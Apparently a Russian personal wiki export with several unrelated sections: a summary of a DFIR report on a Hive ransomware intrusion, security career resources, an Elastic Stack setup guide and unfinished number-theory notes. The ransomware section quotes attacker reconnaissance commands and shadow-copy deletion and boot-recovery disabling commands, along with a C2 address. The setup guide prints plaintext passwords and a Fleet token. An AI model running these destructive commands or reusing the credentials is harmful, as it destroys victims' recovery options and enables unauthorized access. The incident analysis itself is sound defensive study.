``` Atera требует регистрацию пользователей для работы, и, анализируя конфигурационные файлы, исследователи смогли найти email, который злоумышленник использовал для регистрации (*edukatingstrong@polkschools.edu.org*). ![](https://ucarecdn.com/20410106-c5e3-4cc8-9c24-60fba2a2615b/) Используя Atera, злоумышленник запустил большое количество PowerShell-команд, включая `rclone` для копирования конфеденциальных файлов. ![](https://ucarecdn.com/35f4fbec-0d90-4289-bd00-0bded8994d94/) Также, для обеспечения полноценного удаленного доступа через Atera злоумышленник настроил интеграцию с Splashtop. В журнале событий *Splashtop-Splashtop Streamer-Status/Operational* можно найти уникальный идентификатор установки: ![](https://ucarecdn.com/740823f4-9f7b-472d-ba86-b12f67a0c30a/) Для выполнения своих целей атакующий использовал популярный скрипт Impacket `wmiexec.py`. Эту активность можно отследить по тому, что скрипт по умолчанию перенаправляет вывод в `\\127.0.0.1\ADMIN$\__%timestamp%`*.* ![](https://ucarecdn.com/b8d51d47-2eb3-45ce-97ee-dbdad1de66f4/) **Закрепление в системе** Для обеспечения постоянного доступа атакующий настроил автозапуск служб ScreenConnect и Atera. Это событие отображается в журналах Windows как 7045 (установка службы): ![](https://ucarecdn.com/727d7484-800f-4f38-9d66-a1e205198ebb/) **Повышение привилегий** Будучи запущенными как службы Windows, ScreenConnect и Atera работали под учетной записью системы (SYSTEM), что дает атакующему больше привилегий. Process Injection Для избежания обнаружения атакующий использовал широко распространенный метод process injection, когда вредоносный код запускается в памяти легитимного процесса. В зависимости от используемых техник обнаружить эти действия можно следующим образом: События Sysmon: - event *10* (получение доступа к процессу), часто используется для иньекций в существующие процессы. - event *8* (remote thread created - создан удаленный поток). - event *1* (создание процесса) Также, доказательством process injection может выступать создание так называемых named pipes, каналов связи между процессами с именем (\\postex\_\*) (события Sysmon 17 и 18). ![](https://ucarecdn.com/a16f3977-7c65-4c75-9049-f8fb0baf194e/) **Доступ к учетным записям** В ходе атаки злоумышленник неоднократно пытался получить доступ к памяти процесса LSASS (процесс, отвечающий за безопасность и настройки доступа в Windows). ![](https://ucarecdn.com/9c7758e0-f975-45cf-b50f-f9d52bc8676c/) Как показано на рисунке выше, атакующий несколько раз запускал m2.exe, версию популярного зловреда mimikatz. В ходе атаки mimikatz использовался для повышения привилегий и доступа к данным учетных записей. **Разведка** Для изучения структуры сети и получения списка обычных и привилегированных пользователей злоумышленник использовал следующие команды: ![](https://ucarecdn.com/958e2e74-24a1-4437-a500-73afe02475d5/) Также, после установки CobaltStrike атакующий собрал информацию о домене: ``` ```bash cmd.exe /C nltest /dclist: cmd.exe /C nltest /DOMAIN_TRUSTS cmd.exe /C nltest /domain_trusts /all_trusts ``` ``` Для получения списка активных сессий пользователей была использована команда `quser`: ![](https://ucarecdn.com/8f43f8ec-438e-41c1-a682-5c86988c7e34/) Используя программы netping и netscan, атакующий просканировал внутреннюю сеть компании в поиске открытых портов RDP. Он также изучил и скопировал содержимое общедоступных сетевых папок на файл-сервере. Эту информацию можно подтвердить, изучив артефакты в реестре (например, программой [shellbag](https://ericzimmerman.github.io/#!index.md)). ![](https://ucarecdn.com/6d0b2763-170c-42e4-8cc7-16eb857cb91e/) **Дальнейшее продвижение** После сканирования открытых RDP портов злоумышленник использовал RDP для подключения на другие сервера компании. Артефактами в данном случае выступают события windows 4624 с типом подключения 3 (по сети) или 7 (разблокировка). ![](https://ucarecdn.com/7dc07efd-1d61-4687-a2ff-c390df928b37/) Помимо RDP атакующий использовал `wmiexec` для выполнения команд на удаленных серверах. Для компрометации узлов сети атакующий сначала загружал вредоносный DLL-файл по протоколу SMB, а затем регистрировал службу Windows, запускающую вредоносный dll c Cobalt Strike, настроенным на подключение к домену атакующего `23.108.57[.]83:443` (*sodiwugoc\[.\]com*). Событие 7045 демонстрирует создание службы. ![](https://ucarecdn.com/e4be8324-c1ff-454d-8ab6-cccd3ebfc724/) **Достижение целей** Спустя два дня атакующий скопировал конфиденциальные данные программой rclone. Судя по наличию опечаток в имени команд, можно предположить, что действия выполнялись вручную. ![](https://ucarecdn.com/c97a16dd-ff93-4b21-853d-c0cfde1145f8/) После скачивания файлов атакующий перешел к следующему шагу - **шифрованию данных**. Для начала он поменял пароль администратора: ![](https://ucarecdn.com/740bb5e8-33a3-429f-b80a-8bc43e7332a1/) После чего перешел к шифрованию: ![](https://ucarecdn.com/25486bd9-73d7-4835-8846-47dcff6aee5e/) Чтобы обеспечить невозможность восстановления данных, злоумышленник удалили теневые копии и поменял параметры загрузчика системы: ``` ```cpp "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures ``` ``` После завершения процесса шифрования файлы с требованием выкупа были размещены в `C:\Users\Default\HOW_TO_DECRYPT.txt`*.* Атакующий также настроил групповую политику (GPO) для распространения шифровальщика по всему домену, но ошибся, создав политику для пользователей вместо GPO для компьютеров. На этом мы закончим анализ отчета, полную версию на английском языке можно прочитать на сайте [thedfirreport.com](https://thedfirreport.com/2023/09/25/from-screenconnect-to-hive-ransomware-in-61-hours/). # Стажировки Различные компании довольно часто проводят стажировки, и ниже мы подобрали ресурсы, где можно наблюдать за появлением наборов на новые стажировки: - [https://t.me/RuSecJobs](https://t.me/RuSecJobs) - [https://t.me/tinkoffjobs](https://t.me/tinkoffjobs) - [https://t.me/PositiveEventsChat](https://t.me/PositiveEventsChat) **Изучите дорожные карты ИБ-специалиста.** Поищите дорожные карты в открытом доступе, составленные специалистами, которые прошли свой путь и знают, чем поделиться с новичками. Пример такой дорожной карты можно посмотреть здесь: [Схема карьерных треков в кибербезопасности](https://cybersecurity-roadmap.ru/). **Приглядитесь к сертификациям, которые котируются у работодателей.** Сертификации могут дать понимание, в каких знаниях вы западаете, а при их прохождении - позволить работодателю взглянуть на вас под другим углом. Одни из известных сертификаций предлагает институт SANS - [GIAC Certifications](https://www.giac.org/). Впрочем, вы можете поискать и те сертификации, которые будут интересны вам. **Вещи позволяющие стать лучше:** **Не ищите теорию, ищите практику.** Именно на практике вы можете позволить себе нащупать интересные моменты в сфере, отточить навыки, находить пробелы и совершенствоваться. **Проходите сертификации, направленные на практические навыки.** Это не только улучшает ваши умения, но и все больше приобретает популярность в коммьюнити и у работодателей. **Дополнительные ресурсы и материалы** 1. [https://github.com/Neo23x0/Loki](https://github.com/Neo23x0/Loki) - сканер IOC 2. [https://github.com/socprime/soc\_workflow\_app\_ce](https://github.com/socprime/soc_workflow_app_ce) 3. [https://github.com/deepfence/ThreatMapper](https://github.com/deepfence/ThreatMapper) 4. [https://github.com/ivre/ivre](https://github.com/ivre/ivre) 5. [https://github.com/nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite) - аудит облачных провайдеров 6. [https://4sysops.com/tag/security/](https://4sysops.com/tag/security/) 7. [https://cyberwardog.blogspot.com/](https://cyberwardog.blogspot.com/) 8. [https://jordanpotti.com/2017/11/06/honey-accounts/](https://jordanpotti.com/2017/11/06/honey-accounts/) 9. [https://medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-threat-hunting-app-a92213f5e4b8](https://medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-threat-hunting-app-a92213f5e4b8) 10. [https://documentation.wazuh.com/](https://documentation.wazuh.com/) 11. [https://socfortress.medium.com/part-3-wazuh-manager-install-log-analysis-e819f28b0f9e](https://socfortress.medium.com/part-3-wazuh-manager-install-log-analysis-e819f28b0f9e) 12. [https://www.sans.org/white-papers/33901/](https://www.sans.org/white-papers/33901/) 13. [https://github.com/jassics/awesome-aws-security](https://github.com/jassics/awesome-aws-security) 14. [https://github.com/archerysec/archerysec](https://github.com/archerysec/archerysec) 15. [https://sysdig.com/blog/how-to-honeypot-vcluster-falco/](https://sysdig.com/blog/how-to-honeypot-vcluster-falco/) 16. [https://malware.news/t/building-honeypots-with-vcluster-and-falco-episode-ii/80713](https://malware.news/t/building-honeypots-with-vcluster-and-falco-episode-ii/80713) 17. [https://linkmeup.ru/blog/1188/](https://linkmeup.ru/blog/1188/) 18. [https://www.nextron-systems.com/thor-lite/](https://www.nextron-systems.com/thor-lite/) # Blue team: ElasticStack # Введение Структура решения:
- Elasticsearch - полнотекстовый поиск, агрегация и хранение данных. - Kibana - пользовательский интерфейс Elasticsearch. Спроектирован для Elasticsearch. Модульный за счет приложений - Beats - сбор и отправка данных непосредственно из различных исходных систем (конечные точки, сетевые устройства или облака) в Logstash или Elasticsearch. - Logstash - извлечение, преобразование и загрузка (ETL), используется для обработки и приема данных из различных источников (таких как файлы журналов на серверах, агенты Beats в вашей среде, очереди сообщений и платформы потоковой передачи) в Elasticsearch. Основная фишка - парсинг и преобразование полей для сохранения в Elasticsearch. **Elasticsearch** Основан на фреймворке Lucene для структурирования и поиска. Lucene индексирует элементы входного текста (индекс) и строит обратный индекс. Пример:
Элемент данныхДокумент 1Документ 2Документ 3
Спагетти+
Сыр+ +
Рецепт+++
Помидор +
Майонез +
Картошка +
Происходит объединение / пересечение полученных данных, ранжирование и отдача в соответствии с рангом. Типы агрегаций: - блоковая (bucket) агрегация. Группировка в зависимости от значений полей - агрегация на основе метрик. Могут использоваться схемы данных. **Архитектура** Данные -> Документы -> Сегменты -> Ноды Горизонтальное масштабирование. Добавление нодов без простоя, автоматическое перераспределение сегментов данных по нодам. Высокая доступность и надежность. Основной сегмент доступен на чтение и запись, остальные - чтение. Индексные и поисковые запросы выполняются параллельно. Снимки, межкластерный поиск. Схема хранения данных (Elastic Common Schema). ECS устанавливает сопоставления индексов для полей. Например целые числа могут быть как количеством переданных байт и подлежат суммированию, так может быть статусом ответа HTTP и являются строкой. Модули Beats могут автоматически конвертировать логи и метрики в ECS схему.
Когда использовать BeastКогда использовать Logstash
- Необходимо объединять данные из большого количества однотипных систем. - Есть модуль для данной системы - Не нужно проводить серьезные изменения перед передачей данных - Когда большой объем данных поступает из централизованного хранилища (например, из общего файлового хранилища, AWS S3, Kafka и AWS Kinesis) и вам необходимо иметь возможность масштабировать пропускную способность. - Необходимость сложного преобразования данных - Балансировка нагрузки
# Установка **ElasticSearch** Ubuntu, 4 ядра, 12ГБ, 30ГБ. Очень быстро ест диск, при пустом объеме менее 10% падает. Вариант 1. Установка из зеркала yandex ```bash wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg apt-get install apt-transport-https echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] https://mirror.yandex.ru/mirrors/elastic/8/ stable main" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list sudo apt update && sudo apt install elasticsearch ``` Вариант 2. Из deb пакета. ``` wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-9.2.0-amd64.deb sudo dpkg -i elasticsearch-9.2.0-amd64.deb ``` В консоли отобразится пароль суперюзера, его нужно сохранить. The generated password for the elastic built-in superuser is : b0kLYdJDYetVHoPQafmc Затем изменяем конфиг java vm, устанавливаем 8ГБ лимит. Памяти должно быть не более половины от существующей оперативной памяти. Минимально 4ГБ. nano /etc/elasticsearch/jvm.options ``` ## heap to 4 GB, create a new file in the jvm.options.d ## directory containing these lines: ## -Xms8g -Xmx8g ## ## See https://www.elastic.co/guide/en/elasticsearch/reference/8.19/heap-size.html ## for more information ``` Настройка кластера. Файл /etc/elasticsearch/elasticsearch.yml ``` # All nodes in a cluster should have the same name cluster.name: lab-cluster # Set to hostname if undefined node.name: node-a # Port for the node HTTP listener http.port: 9200 # Port for node TCP communication transport.tcp.port: 9300 # Filesystem path for data directory path.data: /mnt/disk/data # Filesystem path for logs directory path.logs: /mnt/disk/logs # List of initial master eligible nodes cluster.initial_master_nodes: # List of other nodes in the cluster discovery.seed_hosts: # Network host for server to listen on network.host: 0.0.0.0 ``` Перегружаем службы ```bash sudo /bin/systemctl daemon-reload sudo /bin/systemctl enable elasticsearch.service sudo systemctl start elasticsearch.service ``` Проверка запуска ``` curl localhost:9200 Вывод должен быть похож на: { "name":"test", "cluster_name":"elasticsearch", "cluster_uuid":"D9HthzrVRTS4yKgSNEfrjg", "version":{ "number":"8.0.0", "build_flavor":"default", "build_type":"deb", "build_hash":"51e9d6f22758d0374a0f3f5c6e8f3a7997850f96", "build_date":"2020-11-09T21:30:33.964949Z", "build_snapshot":false, "lucene_version":"8.7.0", "minimum_wire_compatibility_version":"6.8.0", "minimum_index_compatibility_version":"6.0.0-beta1" }, "tagline":"You Know, for Search" } ``` Проверка работы кластера: ``` curl localhost:9200/_cluster/health ``` **Установка kibana** ``` sudo apt install kibana sudo systemctl daemon-reload sudo systemctl enable kibana.service sudo systemctl start kibana.service sudo systemctl status kibana.service ``` Генерируем пароль для пользователя kibana ``` sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u kibana_system Password for the [kibana_system] user successfully reset. New value: QiF9U+blQujOvEg+jHyB ``` Настраиваем сертификаты ``` sudo cp -R /etc/elasticsearch/certs /etc/kibana sudo chown -R root:kibana /etc/kibana/certs ``` Настраиваем параметры kibana в файле /etc/kibana/kibana.yml ``` server.host: "192.168.1.184" elasticsearch.username: "kibana_system" elasticsearch.password: "QiF9U+blQujOvEg+jHyB" elasticsearch.ssl.certificateAuthorities: [ "/etc/kibana/certs/http_ca.crt" ] elasticsearch.hosts: ["https://192.168.1.184:9200"] ``` Входим по адресу [http://192.168.1.184:5601/](http://192.168.1.184:5601/) и там логин elastic пароль b0kLYdJDYetVHoPQafmc **Fleet** Бэкенд для управления агентами, фронт через kibana. Управление через политики. Желательно ставить на отдельном сервере. Настраивается через Kibana Management - Fleet [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/q3uimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/q3uimage.png) Взаимодействие компонентов: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/C5uimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/C5uimage.png) Fleet настраивается через Policy в Kibana, настройки(policy) хранятся в Elasticsearch, а агенты регистрируются на Fleet Server, получают через него конфигурацию, и отправляют данные в Elasticsearch. **Установка Fleet server** Ставим Debian. Сначала с ElasicSearch копируем сертификат на будущий сервер ``` sudo scp /etc/elasticsearch/certs/http_ca.crt user@:/tmp/ ``` На Fleet ``` sudo mkdir -p /etc/elastic/certs sudo mv /tmp/http_ca.crt /etc/elastic/certs/ sudo chmod 644 /etc/elastic/certs/http_ca.crt sudo chown -R root:root /etc/elastic/certs sudo chmod 755 /etc/elastic sudo chmod 644 /etc/elastic/certs/http_ca.crt ``` В kibana создаем новый сервер. Указываем отображаемое имя и URL будущего Fleet server. Обязательно установить порт, иначе будет стучаться на 443 по умолчанию и почему-то не поедет. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/zJBimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/zJBimage.png) Нажимаем Generate... ELK сгенерирует набор команд, которые необходимо выполнить на будущем Fleet сервере для установки. Можно выбрать ОС для команды. В качестве localhost нужно указать адрес elastic сервера. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/tDCimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/tDCimage.png) И к установочной строке нужно добавить ссылку на сертификат. Итоговая строка: ``` sudo ./elastic-agent install --fleet-server-es=https://192.168.1.184:9200 --fleet-server-service-token=AAEAAWVsYXN0aWMvZmxlZXQtc2VydmVyL3Rva2VuLTE3NjA2MTgzNzk5MjQ6U2tNMlRSczRRcW00emV6aXZkR1JmZw --fleet-server-policy=fleet-server-policy --fleet-server-port=8220 --certificate-authorities=/etc/elastic/certs/http_ca.crt ``` И еще - токен имеет время жизни, поэтому при ошибке его нужно обновить. **Управление конфигурацией агентов** Политики Fleet управляют конфигурацией агентов elastic. Давайте настроим наши агенты на сбор системных логов. Перейдем в раздел Agent policies: В разделе "Add Integrations" можно добавить в политику модули для сбора данных. Интеграции(Integrations) это модули для сбора данных из различных источников. С актуальным списком доступных интеграций можно ознакомиться по адресу [https://www.elastic.co/integrations](https://www.elastic.co/integrations) Давайте добавим интеграцию System. Для этого введем название интеграции в стоке поиска, откроем ее и нажмем Add System. В настройках модуля System есть опция добавить или изменить файлы логов, которые будут мониториться на системах linux, типы журналов Windows **Beats & Logstash** Logstash ``` sudo apt-get install logstash ``` Beats packages. ``` sudo apt-get install # To install Filebeat, run this: sudo apt-get install filebeat # To install Metricbeat, run this: sudo apt-get install metricbeat ``` # Математика # Теория чисел Виноградов И.М. «Основы теории чисел» **Теория чисел** **Делимость** 1. Целые числа: натуральные числа, 0 и отрицательные. Разница между соседними числами 1. 2. a + b, a - b, a \* b целые. 3. Если a = b \* q (при условии b q целые) обозначается b \\ a 1. a кратно числу b 2. b делитель числа a 4. Если b \\ m и m \\ a то b \\ a 5. Если в равенстве вида ``` a+b+...+m = n+o+...+z ``` известно для всех членов, кроме одного, что они кратны x, то этот один тоже кратен x. 6. a представляется единственным способом в виде ``` a = bq+r где 0<=r